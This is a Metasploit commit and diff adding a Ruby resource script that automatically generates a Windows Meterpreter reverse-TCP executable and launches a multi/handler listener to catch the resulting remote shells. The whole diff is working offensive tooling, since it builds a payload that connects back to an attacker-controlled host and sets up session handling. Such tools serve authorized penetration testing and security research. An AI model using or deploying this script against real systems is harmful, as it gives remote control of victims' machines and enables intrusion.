Land rapid7#4757, adds RC for auto payload gen

Closes rapid7#4740
Normally we type a bunch of msfvenom/msfconsole commands to generate a
payload for setting up a handler, sometimes we're too lazy to type a
bunch of commands so this should make things a little bit easier.

Author: kernelsmith

scripts/resource/auto_win32_multihandler.rc

@@ -0,0 +1,28 @@
+<ruby>
+PAYLOAD = 'windows/meterpreter/reverse_tcp'
+
+def payload_lhost
+  framework.datastore['LHOST'] || Rex::Socket.source_address
+end
+
+def payload_lport
+  framework.datastore['LPORT'] || 4444
+end
+
+def out_path
+  "#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe"
+end
+
+run_single("use payload/#{PAYLOAD}")
+run_single("set lhost #{payload_lhost}")
+run_single("set lport #{payload_lport}")
+run_single("generate -t exe -f #{out_path}")
+print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}")
+print_status("#{PAYLOAD} is at #{out_path}")
+run_single('use exploit/multi/handler')
+run_single("set payload #{PAYLOAD}")
+run_single("set lhost #{payload_lhost}")
+run_single("set lport #{payload_lport}")
+run_single('set exitonsession false')
+run_single('run -j')
+</ruby>